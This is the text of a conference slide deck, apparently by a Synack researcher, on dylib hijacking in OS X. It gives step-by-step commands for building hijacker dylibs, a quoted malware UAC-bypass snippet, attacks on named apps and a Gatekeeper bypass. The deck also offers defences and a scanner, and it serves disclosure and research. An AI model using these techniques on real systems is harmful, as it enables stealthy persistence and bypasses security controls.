2. “sources a global contingent of vetted security experts worldwide and
pays them on an incentivized basis to discover security vulnerabilities in
our customers’ web apps, mobile apps, and infrastructure endpoints.”
WHOIS
@patrickwardle
/NASA
/NSA
/VRL
/SYNACK
always looking for
more experts!
vetted researchers
internal R&D
backed by google
3. what we'll be covering
AN OUTLINE
history of
dll hijacking
dylib hijacking
attacks
& defenses
}hijackingfinding
‘hijackables’
loader/linker
features
5. an overview
DLL HIJACKING (WINDOWS)
“an attack that exploits the way some
Windows applications search and load
Dynamic Link Libraries (DLLs)”
definition "binary planting"
"insecure library loading"
"dll loading hijacking"
"dll preloading attack"
other names
<blah>.dll
<blah>.dll
"I need <blah>.dll"
cwd
6. a (historically accurate) timeline
DLL HIJACKING
“The vulnerability was discovered by HD
Moore” -Wikipedia
2010 present
??
M$oft Security Advisory 2269637
“allows an attacker to execute arbitrary
commands, potentially affecting more
than 100 million users”
-thehackernews
[unclass]
“It
is
important
that
penetrators
can’t
insert
a
‘fake’
DLL
in
one
of
these
directories
where
the
search
finds
it
before
a
legitimate
DLL
of
the
same
name”
1998
-‐NSA
(Windows
NT
Security
Guidelines)
7. an example of a buggy application
DLL HIJACKING
//insecurely
load
library
//
-‐>fully
qualified
path,
not
specified
HMODULE
hLib
=
LoadLibrary(L"dnsapi.dll");
vulnerable code snippet
“The default search behavior, is to
search the current directory, followed
by the [system] directories” -microsoft
vulnerable code snippet
8. providing a variety of attack scenarios
DLL HIJACKING ATTACKS
vulnerable binary
persistence process injection
escalation of privileges
(uac bypass)
‘remote’ infection
}
9. in the wild
DLL HIJACKING ATTACKS
//paths
to
abuse
char*
uacTargetDir[]
=
{"system32sysprep",
"ehome"};
char*
uacTargetApp[]
=
{"sysprep.exe",
"mcx2prov.exe"};
char*
uacTargetDll[]
=
{
"cryptbase.dll"
,
"CRYPTSP.dll"};
//execute
vulnerable
application
&
perform
DLL
hijacking
attack
if(Exec(&exitCode,
"cmd.exe
/C
%s",
targetPath))
{
if(exitCode
==
UAC_BYPASS_MAGIC_RETURN_CODE)
DBG("UAC
BYPASS
SUCCESS")
...
bypassing UAC (carberp, blackbeard, etc.)
“we had a plump stack of malware samples in our
library that all had this name (fxsst.dll) and were
completely unrelated to each other” -mandiant
persistence
priv esc
10. the current state of affairs
DLL HIJACKING
2010 today
M$oft Security Advisory 2269637 &
‘Dynamic-Link Library Security’ doc
“Any OS which allows for dynamic linking
of external libraries is theoretically
vulnerable to [dll hijacking]”
-Marc B (stackoverflow.com)
fully qualified paths
SafeDllSearchMode &
CWDIllegalInDllSearch
dylib hijacking (OS X)
'C:Windowssystem32blah.dll'
12. macs are everywhere (home & enterprise)
THE RISE OF MACS
macs as % of total usa pc sales
#3 usa / #5 worldwide
vendor in pc shipments
percentage
0
3.5
7
10.5
14
year
'09 '10 '11 '12 '13
doesn’t
include
iDevices
"Mac notebook sales have grown 21% over the last year,
while total industry sales have fallen" -apple (3/2015)
13. some apple specific terminology
APPLE PARLANCE
Mach object file format (or 'Mach-O') is OS X's
native file format for executables, shared libraries,
dynamically-loaded code, etc.
Load commands specify the layout and linkage
characteristics of the binary (memory layout,
initial execution state of the main thread, names
of dependent dylibs, etc).
}
mach-o
dylibs
Also known as dynamic shared libraries, shared
objects, or dynamically linked libraries, dylibs are
simply libraries intended for dynamic linking.
load
commands
14. instructions to the loader (including required libraries)
LOAD COMMANDS
MachOView
dumping load commands
$otool
-‐l
/Applications/Calculator.app/Contents/MacOS/Calculator
...
Load
command
12
cmd
LC_LOAD_DYLIB
cmdsize
88
name
/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa
time
stamp
2
Wed
Dec
31
14:00:02
1969
current
version
21.0.0
compatibility
version
1.0.0
15. dylib specific load commands
LC_LOAD*_DYLIB/LC_ID_DYLIB LOAD COMMANDS
struct
dylib_command
{
uint32_t
cmd;
/*
LC_ID_DYLIB,
LC_LOAD_{,WEAK_}DYLIB,
LC_REEXPORT_DYLIB
*/
uint32_t
cmdsize;
/*
includes
pathname
string
*/
struct
dylib
dylib;
/*
the
library
identification
*/
};
mach-‐o/loader.h
mach-‐o/loader.h
struct
dylib
{
union
lc_str
name;
/*
library's
path
name
*/
uint32_t
timestamp;
/*
library's
build
time
stamp
*/
uint32_t
current_version;
/*
library's
current
vers
number
*/
uint32_t
compatibility_version;
/*
library's
compatibility
vers
number*/
};
struct dyld_command
struct dylib
used to find &
uniquely ID the
library
16. the idea is simple
DYLIB HIJACKING ATTACKS
plant a malicious dynamic library such that the
dynamic loader will automatically load it into a
vulnerable application
no other system modifications
independent of users’ environment}
‣ no patching binaries
‣ no editing config files
‣ $PATH, (/etc/paths)
‣ DYLD_*
constraints
17. abusing for malicious purposes ;)
DYLIB HIJACKING ATTACKS
vulnerable binary
persistence process injection
‘remote’ infection
}
security product
bypass
just like dll hijacking
on windows!
19. a (very) brief walk-thru
OS X’S DYNAMIC LOADER/LINKER
dyldStartup.s/__dyld_start
sets up stack & jumps to
dyldbootstrap::start() which
calls _main()
dyld.cpp/_main()
calls link(ptrMainExe), calls
image->link()
ImageLoader.cpp/link()
calls ImageLoader::
recursiveLoadLibraries()
ImageLoader.cpp/
recursiveLoadLibraries()
gets dependent libraries, calls
context.loadLibrary() on each
dyld.cpp/load()
calls loadPhase0() which calls,
loadPhase1()… until loadPhase6()
dyld.cpp/loadPhase6()
maps in file then calls
ImageLoaderMachO::instantiateFr
omFile()
open source, at
www.opensource.apple.com (dyld-‐353.2.1)
20. again, a simple idea
LET THE HUNT BEGIN
is there code in dyld that:
doesn’t error out if a dylib isn’t found?
looks for dylibs in multiple locations?
if the answer is 'YES' to either question, its
theoretically possible that binaries on OS X could
by vulnerable to a dylib hijacking attack!
21. are missing dylibs are A-OK?
ALLOWING AN IMAGE LOAD TO FAIL
//attempt
to
load
all
required
dylibs
void
ImageLoader::recursiveLoadLibraries(
...
)
{
//get
list
of
libraries
this
image
needs
DependentLibraryInfo
libraryInfos[fLibraryCount];
this-‐>doGetDependentLibraries(libraryInfos);
//try
to
load
each
each
for(unsigned
int
i=0;
i
<
fLibraryCount;
++i)
{
//load
try
{
dependentLib
=
context.loadLibrary(libraryInfos[i],
...
);
...
}
catch(const
char*
msg)
{
if(requiredLibInfo.required)
throw
dyld::mkstringf("Library
not
loaded:
%sn
Referenced
from:
%sn
Reason:
%s",
requiredLibInfo.name,
this-‐>getRealPath(),
msg);
//ok
if
weak
library
not
found
dependentLib
=
NULL;
}
}
error logic for missing dylibs
ImageLoader.cpp
22. where is the ‘required’ variable set?
ALLOWING AN IMAGE LOAD TO FAIL
//get
all
libraries
required
by
the
image
void
ImageLoaderMachO::doGetDependentLibraries(DependentLibraryInfo
libs[]){
//get
list
of
libraries
this
image
needs
const
uint32_t
cmd_count
=
((macho_header*)fMachOData)-‐>ncmds;
const
struct
load_command*
const
cmds
=
(struct
load_command*)&fMachOData[sizeof(macho_header)];
const
struct
load_command*
cmd
=
cmds;
//iterate
over
all
load
commands
for
(uint32_t
i
=
0;
i
<
cmd_count;
++i)
{
switch
(cmd-‐>cmd)
{
case
LC_LOAD_DYLIB:
case
LC_LOAD_WEAK_DYLIB:
...
//set
required
variable
(&libs[index++])-‐>required
=
(cmd-‐>cmd
!=
LC_LOAD_WEAK_DYLIB);
break;
}
//go
to
next
load
command
cmd
=
(const
struct
load_command*)(((char*)cmd)+cmd-‐>cmdsize);
}
setting the 'required' variable
ImageLoaderMachO.cpp
LC_LOAD_WEAK_DYLIB:
weak 'import' (not required)
23. binaries that import weak dylibs can be hijacked
HIJACK 0X1: LC_LOAD_WEAK_DYLIB
LC_LOAD_WEAK_DYLIB:
/usr/lib/<blah>.dylib
/usr/lib
weak request,
so 'not-found' is ok!find/load <blah>.dylib
not found!
LC_LOAD_WEAK_DYLIB:
/usr/lib/<blah>.dylib
/usr/lib
find/load <blah>.dylib
<blah>.dylib
24. ohhh, what do we have here?!
LOOKING FOR DYLIBS IN MULTIPLE LOCATIONS
//substitute
@rpath
with
all
-‐rpath
paths
up
the
load
chain
for(const
ImageLoader::RPathChain*
rp=context.rpath;
rp
!=
NULL;
rp=rp-‐>next){
//try
each
rpath
for(std::vector<const
char*>::iterator
it=rp-‐>paths-‐>begin();
it
!=
rp-‐>paths-‐>end();
++it){
//build
full
path
from
current
rpath
char
newPath[strlen(*it)
+
strlen(trailingPath)+2];
strcpy(newPath,
*it);
strcat(newPath,
"/");
strcat(newPath,
trailingPath);
//TRY
TO
LOAD
//
-‐>if
this
fails,
will
attempt
next
variation!!
image
=
loadPhase4(newPath,
orgPath,
context,
exceptions);
if(image
!=
NULL)
dyld::log("RPATH
successful
expansion
of
%s
to:
%sn",
orgPath,
newPath);
else
dyld::log("RPATH
failed
to
expanding
%s
to:
%sn",
orgPath,
newPath);
//if
found/load
image,
return
it
if(image
!=
NULL)
return
image;
}
}
loading dylibs from various locations
dyld.cpp
25. a special keyword for the loader/linker
WTF ARE @RPATHS?
introduced in OS X
10.5 (leopard)
To use run-path dependent libraries, an executable provides a list of run-
path search paths, which the dynamic loader traverses at load time to
find the libraries.” -apple
“A run-path dependent library is a dependent library whose complete
install name (path) is not known when the library is created….
"ohhh, so dyld will look for the
dylib in multiple locations?!?"
26. a run-path dependent library
AN EXAMPLE
compiled run-path dependent library
$
otool
-‐l
rpathLib.framework/Versions/A/rpathLib
Load
command
3
cmd
LC_ID_DYLIB
cmdsize
72
name
@rpath/rpathLib.framework/Versions/A/rpathLib
time
stamp
1
Wed
Dec
31
14:00:01
1969
current
version
1.0.0
compatibility
version
1.0.0
set install dir to '@rpath'
27. an app that links against an @rpath'd dylib
AN EXAMPLE
the “run-path dependent library(s)”
LC_LOAD*_DYLIB LC(s) containing "@rpath" in the
dylib path -> tells dyld to “to search a list of paths in
order to locate the dylib"
the list of “run-path search paths”
LC_RPATH LCs containing the run-time paths
which at runtime, replace "@rpath"
}
dylib dependency
specifying 'RunPath Search Paths'
28. LC_LOAD_DYLIB load commands prefixed with '@rpath'
RUN-PATH DEPENDENT LIBRARIES
an application linked against an @rpath import
$
otool
-‐l
rPathApp.app/Contents/MacOS/rPathApp
Load
command
12
cmd
LC_LOAD_DYLIB
cmdsize
72
name
@rpath/rpathLib.framework/Versions/A/rpathLib
time
stamp
2
Wed
Dec
31
14:00:02
1969
current
version
1.0.0
compatibility
version
1.0.0
“hey dyld, I depend on the rpathLib dylib, but when built, I
didn’t know exactly where it would be installed. Please use my
embedded run-path search paths to find & load it!”
-the executable
29. LC_RPATH load commands containing the run-path search paths
RUN-PATH SEARCH PATH(S)
embedded LC_PATH commands
$
otool
-‐l
rPathApp.app/Contents/MacOS/rPathApp
Load
command
18
cmd
LC_RPATH
cmdsize
64
path
/Applications/rPathApp.app/Contents/Library/One
Load
command
19
cmd
LC_RPATH
cmdsize
64
path
/Applications/rPathApp.app/Contents/Library/Two
one for each
required dylib struct
rpath_command
{
uint32_t
cmd;
/*
LC_RPATH
*/
uint32_t
cmdsize;
/*
includes
string
*/
union
lc_str
path;
/*
path
to
add
to
run
path
*/
};
mach-‐o/loader.h
struct dyld_command (LC_RPATH LC)
30. how the linker/loader interacts with LC_RPATH load commands
DYLD AND THE ‘RUN-PATH’ SEARCH PATH(S)
void
ImageLoader::recursiveLoadLibraries(…){
//get
list
of
rpaths
that
this
image
adds
std::vector<const
char*>
rpathsFromThisImage;
this-‐>getRPaths(context,
rpathsFromThisImage);
saving all "run-path search paths"
ImageLoader.cpp
void
ImageLoaderMachO::getRPaths(...,
std::vector<const
char*>&
paths){
//iterate
over
all
load
commands
//
-‐>look
for
LC_RPATH
and
save
their
path’s
for(uint32_t
i
=
0;
i
<
cmd_count;
++i){
switch(cmd-‐>cmd){
case
LC_RPATH:
//save
‘run-‐path’
search
path
paths.push_back((char*)cmd
+
((struct
rpath_command*)cmd)-‐>path.offset);
//keep
scanning
load
commands...
cmd
=
(const
struct
load_command*)(((char*)cmd)+cmd-‐>cmdsize);
ImageLoader.cpp
invoking getRPaths() to parse all LC_RPATHs
31. dealing with LC_LOAD_DYLIB load commands that contain '@rpath'
DYLD AND '@RPATH'
//expand
'@rpaths'
static
ImageLoader*
loadPhase3(...)
{
//replace
‘@rpath’
with
all
resolved
run-‐path
search
paths
&
try
load
else
if(context.implicitRPath
||
(strncmp(path,
"@rpath/",
7)
==
0)
)
{
//get
part
of
path
after
'@rpath/'
const
char*
trailingPath
=
(strncmp(path,
"@rpath/",
7)
==
0)
?
&path[7]
:
path;
//substitute
@rpath
with
all
-‐rpath
paths
up
the
load
chain
for(std::vector<const
char*>::iterator
it=rp-‐>paths-‐>begin();
it
!=
rp-‐>paths-‐>end();
++it){
//build
full
path
from
current
rpath
char
newPath[strlen(*it)
+
strlen(trailingPath)+2];
strcpy(newPath,
*it);
strcat(newPath,
"/");
strcat(newPath,
trailingPath);
//TRY
TO
LOAD
image
=
loadPhase4(newPath,
orgPath,
context,
exceptions);
//if
found/loaded
image,
return
it
if(image
!=
NULL)
return
image;
}//try
all
run-‐path
search
paths
loading dylibs from various locations
dyld.cpp
32. '@rpath' imports not found in the primary search directory
HIJACK 0X2: LC_LOAD_DYLIB + LC_RPATHS
LC_LOAD_DYLIB:
@rpath/<blah>.dylib
find/load <blah>.dylib
LC_RPATH:
/Applications/blah.app/Library
LC_RPATH:
/System/Library
<blah>.dylib
/System/Library
/Applications/blah.app/Library
<blah>.dylib
/Applications/blah.app/
Library/blah.dylib
/System/Library/blah.dylib
resolved paths
33. possible, given either of the following conditions!
DYLIB HIJACKING AN OS X BINARY
}
contains a LC_LOAD_WEAK_DYLIB
load command that references a
non-existent dylib
contains multiple LC_RPATH load commands
(i.e. run-path search paths)
contains a LC_LOAD*_DYLIB load command
with a run-path dependent library ('@rpath')
not found in a primary run-path search path
+
vulnerable
application
34. hijacking the sample binary we wrote
EXAMPLE TARGET
confirm the vulnerability
$
export
DYLD_PRINT_RPATHS="1"
$
/Applications/rPathApp.app/Contents/MacOS/rPathApp
RPATH
failed
to
expanding
@rpath/rpathLib.framework/Versions/A/rpathLib
to:
/Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib
RPATH
successful
expansion
of
@rpath/rpathLib.framework/Versions/A/rpathLib
to:
/Applications/rPathApp.app/Contents/MacOS/../Library/Two/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/
Contents/Library/One/...
/Applications/rPathApp.app/
Contents/Library/Two/...
first location is
empty!
35. place dylib into the primary search location
HIJACK ATTEMPT 0X1
__attribute__((constructor))
void
customConstructor(int
argc,
const
char
**argv)
{
//dbg
msg
syslog(LOG_ERR,
"hijacker
loaded
in
%sn",
argv[0]);
}
'malicious' dylib
automatically invoked
$
/Applications/rPathApp.app/Contents/MacOS/rPathApp
RPATH
successful
expansion
of
@rpath/rpathLib.framework/Versions/A/rpathLib
to:
/Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib
dyld:
Library
not
loaded:
@rpath/rpathLib.framework/Versions/A/rpathLib
Referenced
from:
/Applications/rPathApp.app/Contents/MacOS/rPathApp
Reason:
Incompatible
library
version:
rPathApp
requires
version
1.0.0
or
later,
but
rpathLib
provides
version
0.0.0
Trace/BPT
trap:
5
success :) then fail :(
dylib's 'payload'
36. dyld checks version numbers
DYLIB VERSIONING
ImageLoader::recursiveLoadLibraries(...)
{
LibraryInfo
actualInfo
=
dependentLib-‐>doGetLibraryInfo();
//compare
version
numbers
if(actualInfo.minVersion
<
requiredLibInfo.info.minVersion)
{
//record
values
for
use
by
CrashReporter
or
Finder
dyld::throwf("Incompatible
library
version:
.....");
}
ImageLoader.cpp
ImageLoaderMachO::doGetLibraryInfo()
{
LibraryInfo
info;
const
dylib_command*
dylibID
=
(dylib_command*)
(&fMachOData[fDylibIDOffset]);
//extract
version
info
from
LC_ID_DYLIB
info.minVersion
=
dylibID-‐>dylib.compatibility_version;
info.maxVersion
=
dylibID-‐>dylib.current_version;
return
info
ImageLoaderMachO.cpp
$
otool
-‐l
rPathApp
Load
command
12
cmd
LC_LOAD_DYLIB
cmdsize
72
name
...
rpathLib
current
version
1.0.0
compatibility
version
1.0.0
$
otool
-‐l
rPathLib
Load
command
12
cmd
LC_ID_DYLIB
cmdsize
72
name
...
rpathLib
current
version
0.0.0
compatibility
version
0.0.0
hijacker dylib
versioning mismatch
target (legit) dylib
37. compatible version numbers
HIJACK ATTEMPT 0X2
setting version numbers
$
/Applications/rPathApp.app/Contents/MacOS/rPathApp
RPATH
successful
expansion
of
@rpath/rpathLib.framework/Versions/A/rpathLib
to:
/Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib
dyld:
Symbol
not
found:
_OBJC_CLASS_$_SomeObject
Referenced
from:
/Applications/rPathApp.app/Contents/MacOS/rPathApp
Expected
in:
/Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework
/Versions/A/rpathLib
Trace/BPT
trap:
5
success :) then fail :(
$
otool
-‐l
rPathLib
Load
command
12
cmd
LC_ID_DYLIB
cmdsize
72
name
...
rpathLib
current
version
1.0.0
compatibility
version
1.0.0
hijacker dylib
38. hijack dylib must export the expected symbols
SOLVING THE EXPORTS ISSUE
$
dyldinfo
-‐export
/Library/Two/rpathLib.framework/Versions/A/rpathLib
0x00001100
_OBJC_METACLASS_$_SomeObject
0x00001128
_OBJC_CLASS_$_SomeObject
exports from legit dylib
sure we could get the hijacker to directly export all the same
symbols from the original...but it'd be more elegant to have it
re-export them, forwarding ('proxying') everything on to the
original dylib!
<blah>.dylib <blah>.dylib
resolve _SomeObject
_SomeObject
39. telling the dyld where to find the required symbols
RE-EXPORTING SYMBOLS
LC_REEXPORT_DYLIB load command
$
otool
-‐l
rPathLib
Load
command
9
cmd
LC_REEXPORT_DYLIB
cmdsize
72
name
@rpath/rpathLib.framework
/Versions/A/rpathLib
}ld inserts name from target
(legit) library (will be @rpath/...
which dyld doesn't resolve)
ld cannot link if target dylib
falls within an umbrella
framework
-Xlinker
-reexport_library
<path to legit dylib>
linker flags
40. fix with install_name_tool
RE-EXPORTING SYMBOLS
install_name_tool -change
<existing value of LC_REEXPORT_DYLIB>
<new value for to LC_REEXPORT_DYLIB (e.g target dylib)>
<path to dylib to update>
$
install_name_tool
-‐change
@rpath/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/Contents/Library/One/rpathLib.framework/Versions/A/rpathlib
$
otool
-‐l
Library/One/rpathLib.framework/Versions/A/rpathlib
Load
command
9
cmd
LC_REEXPORT_DYLIB
cmdsize
112
name
/Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/
fixing the target of the re-exported
updates the name in
LC_REEXPORT_DYLIB
41. all your base are belong to us :)
HIJACK SUCCESS!
hijacked loaded into app's process space
app runs fine!
$
lsof
-‐p
29593
COMMAND
NAME
rPathApp
/Users/patrick
rPathApp
/Applications/rPathApp.app/Contents/MacOS/rPathApp
rPathApp
/Applications/rPathApp.app/Contents/Library/One/rpathLib.framework/Versions/A/rpathlib
rPathApp
/Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib
hijacker's 'payload'
hijacked app
43. finding vulnerable binaries
AUTOMATION
$
python
dylibHijackScanner.py
getting
list
of
all
executable
files
on
system
will
scan
for
multiple
LC_RPATHs
and
LC_LOAD_WEAK_DYLIBs
found
91
binaries
vulnerable
to
multiple
rpaths
found
53
binaries
vulnerable
to
weak
dylibs
rPathApp.app
has
multiple
rpaths
(dylib
not
in
primary
directory)
({
'binary':
'/rPathApp.app/Contents/MacOS/rPathApp',
'importedDylib':
'/rpathLib.framework/Versions/A/rpathLib',
'LC_RPATH':
'rPathApp.app/Contents/Library/One'
})
LC_LOAD_WEAK_DYLIB that reference a non-existent dylib
LC_LOAD*_DYLIB with @rpath'd import & multiple LC_RPATHs with the
run-path dependent library not found in a primary run-path search path
automated vulnerability detection
44. you might have heard of these guys?
AUTOMATION FINDINGS
Apple Microsoft Others
iCloud Photos
Xcode
iMovie (plugins)
Quicktime (plugins)
Word
Excel
Powerpoint
Upload Center
Google(drive)
Adobe (plugins)
GPG Tools
DropBox
results:
only from one scan (my box)
45. tool to create compatible hijackers
AUTOMATION
$
python
createHijacker.py
Products/Debug/libhijack.dylib
/Applications/rPathApp.app/
Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib
hijacker
dylib:
libhijack.dylib
target
(existing)
dylib:
rpathLib
[+]
parsing
'rpathLib'
to
extract
version
info
[+]
parsing
'libhijack.dylib'
to
find
version
info
updating
version
info
in
libhijack.dylib
to
match
rpathLib
[+]
parsing
'libhijack.dylib'
to
extract
faux
re-‐export
info
updating
embedded
re-‐export
via
exec'ing:
/usr/bin/install_name_tool
-‐change
configured
libhijack.dylib
(renamed
to:
rpathLib)
as
compatible
hijacker
for
rpathLib
extract target dylib's version numbers and patch them into hijacker
re-export ('forward') exports by executing install_name_tool to
update LC_REEXPORT_DYLIB in the hijacker to reference target dylib
automated hijacker configuration
46. ideal for a variety of reasons...
GAINING PERSISTENCE
gain automatic & persistent code execution
whenever the OS restarts/the user logs only via a
dynamic library hijack
the goal
}no binary / OS file modifications no new processes
hosted within a trusted process abuses legitimate functionality
47. via Apple's PhotoStreamAgent ('iCloudPhotos.app')
GAINING PERSISTENCE
$
python
dylibHijackScanner.py
PhotoStreamAgent
is
vulnerable
(multiple
rpaths)
'binary':
'/Applications/iPhoto.app/Contents/Library/LoginItems/
PhotoStreamAgent.app/Contents/MacOS/PhotoStreamAgent'
'importedDylib':
'/PhotoFoundation.framework/Versions/A/PhotoFoundation'
'LC_RPATH':
'/Applications/iPhoto.app/Contents/Library/LoginItems'
configure hijacker against PhotoFoundation (dylib)
copy to /Applications/iPhoto.app/Contents/
Library/LoginItems/PhotoFoundation.framework/
Versions/A/PhotoFoundation
$
reboot
$
lsof
-‐p
<pid
of
PhotoStreamAgent>
/Applications/iPhoto.app/Contents/Library/LoginItems/PhotoFoundation.framework/Versions/A/PhotoFoundation
/Applications/iPhoto.app/Contents/Frameworks/PhotoFoundation.framework/Versions/A/PhotoFoundation
PhotoStreamAgent
48. ideal for a variety of reasons...
PROCESS INJECTION ('LOAD TIME')
gain automatic & persistent code execution within
a process only via a dynamic library hijack
the goal
}no binary / OS file modifications no process monitoring
no complex runtime injection no detection of injection
<010>
49. via Apple's Xcode
GAINING PROCESS INJECTION
$
python
dylibHijackScanner.py
Xcode
is
vulnerable
(multiple
rpaths)
'binary':
'/Applications/Xcode.app/Contents/MacOS/Xcode'
'importedDylib':
'/DVTFoundation.framework/Versions/A/DVTFoundation'
'LC_RPATH':
'/Applications/Xcode.app/Contents/Frameworks'
configure hijacker against DVTFoundation (dylib)
copy to /Applications/Xcode.app/Contents/
Frameworks/DVTFoundation.framework/Versions/A/
do you trust your
compiler now!?
(k thompson)
Xcode
50. ideal for a variety of reasons...
BYPASSING PERSONAL SECURITY PRODUCTS
gain automatic code execution within a trusted
process only via a dynamic library hijack to
perform some previously disallowed action
the goal
}no binary / OS file modifications novel technique
hosted within a trusted process abuses legitimate functionality
51. be invisible to LittleSnitch via GPG Tools
BYPASSING PERSONAL SECURITY PRODUCTS
$
python
dylibHijackScanner.py
GPG
Keychain
is
vulnerable
(weak/rpath'd
dylib)
'binary':
'/Applications/GPG
Keychain.app/Contents/MacOS/GPG
Keychain'
'weak
dylib':
'/Libmacgpg.framework/Versions/B/Libmacgpg'
'LC_RPATH':
'/Applications/GPG
Keychain.app/Contents/Frameworks'
GPG Keychain
LittleSnitch rule
for GPG Keychain
got 99 problems but LittleSnitch ain't one ;)
52. bypassing Gatekeeper
'REMOTE' (NON-LOCAL) ATTACK
circumvent gatekeeper's draconic blockage via a
dynamic library hijack
the goal
can we bypass this
(unsigned code to run)?
gatekeeper in action
53. all files with quarantine attribute are checked
HOW GATEKEEPER WORKS
quarantine attributes
//attributes
$
xattr
-‐l
~/Downloads/malware.dmg
com.apple.quarantine:0001;534e3038;
Safari;
B8E3DA59-‐32F6-‐4580-‐8AB3...
safari, etc. tags
downloaded content
"Gatekeeper is an anti-malware feature of the OS X operating
system. It allows users to restrict which sources they can install
applications from, in order to reduce the likelihood of executing a
Trojan horse"
54. go home gatekeeper, you are drunk
GATEKEEPER BYPASS
find an -signed or 'mac app store' app that contains an external
relative reference to hijackable dylib
create a .dmg with the necessary folder structure to contain the
malicious dylib in the externally referenced location
#winning
verified, so can't
modify
.dmg/.zip layout
(signed) application
<external>.dylib
gatekeeper only verifies
the app bundle!!
not verified!
55. 1) a signed app that contains an external reference to hijackable dylib
GATEKEEPER BYPASS
$
spctl
-‐vat
execute
/Applications/Xcode.app/Contents/Applications/Instruments.app
Instruments.app:
accepted
source=Apple
System
$
otool
-‐l
Instruments.app/Contents/MacOS/Instruments
Load
command
16
cmd
LC_LOAD_WEAK_DYLIB
name
@rpath/CoreSimulator.framework/Versions/A/CoreSimulator
Load
command
30
cmd
LC_RPATH
path
@executable_path/../../../../SharedFrameworks
spctl tells you if gatekeeper will accept the app
Instruments.app - fit's the bill
56. 2) create a .dmg with the necessary layout
GATEKEEPER BYPASS
required directory structure
'clean up' the .dmg
‣ hide files/folder
‣ set top-level alias to app
‣ change icon & background
‣ make read-only
(deployable) malicious .dmg
57. 3) #winning
GATEKEEPER BYPASS
standard popup for
anything downloaded
gatekeeper setting's
(maximum)
standard alert
gatekeeper bypass :)
unsigned (non-Mac App Store)
code execution!!
58. low-tech abuse cases
GATEKEEPER BYPASS
"[there were over] sixty thousand calls to AppleCare technical
support about Mac Defender-related issues" -Sophos
fake codecs fake installers/updates
why gatekeeper was born infected torrents
59. what you really need to worry about :/
GATEKEEPER BYPASS
my dock
MitM & infect
insecure downloads
HTTP :(
Mac App Store
not vulnerable
60. these should be secure, right!?
OS X SECURITY/AV SOFTWARE
all the security software I could
find, was downloaded over HTTP!
LittleSnitch
Sophos
}
ClamXav
61. putting the pieces all together
END-TO-END ATTACK
persist
exfil file
download & execute cmd
persistently install a malicious
dylib as a hijacker
upload a file ('topSecret') to a
remote iCloud account
download and run a command
('Calculator.app')
doesn't require r00t!
62. ClamXav
LittleSnitch
Sophos
the OS 'security' industry vs me ;)
PSP TESTING
are any of these
malicious actions blocked?
persist
exfil file
download & execute cmd
OS X 'security' products
63. what can be done to fix this mess
IT'S ALL BUSTED....FIXES?
submitted 2x to
bugreport.apple.com
1/15 initial bug report
2/15 resubmission
2/15 automated response
Dylib Hijacking Fix?
‣ abuses a legitimate OS feature,
so unlikely to be fixed...
Gatekeeper Bypass Fix
‣ resolve & verify all imported dylibs
‣ disallow external dylibs?
MitM Fix
‣ only download software over
secure channels (HTTPS, etc)
comms. w/
apple
2/15 followup
2/15 'thanks' for followup
64. but am I vulnerable? and I owned?
DEFENSE
dylib hijack scanner (dhs)
free at
objective-see.com
hijacked apps
buggy apps
65. CONCLUSIONS
…wrapping this up
powerful stealthy new class of attack
affects apple & 3rd party apps
persistence
process injection
‘remote’ infection
security product bypass
}
}
no binary / OS file modifications
abuses legitimate functionality
scan your system
download software over HTTPS
don't give your $ to the AV companies
users
66. QUESTIONS & ANSWERS
patrick@synack.com
@patrickwardle
slides
syn.ac/cansecw
feel free to contact me any time :)
"What if every country has ninjas, but we only know about the
Japanese ones because they’re rubbish?" -DJ-2000, reddit.com
final thought ;)
python scrips
github.com/synack
stop by synack's
booth to win
white paper
www.virusbtn.com/dylib
}downloads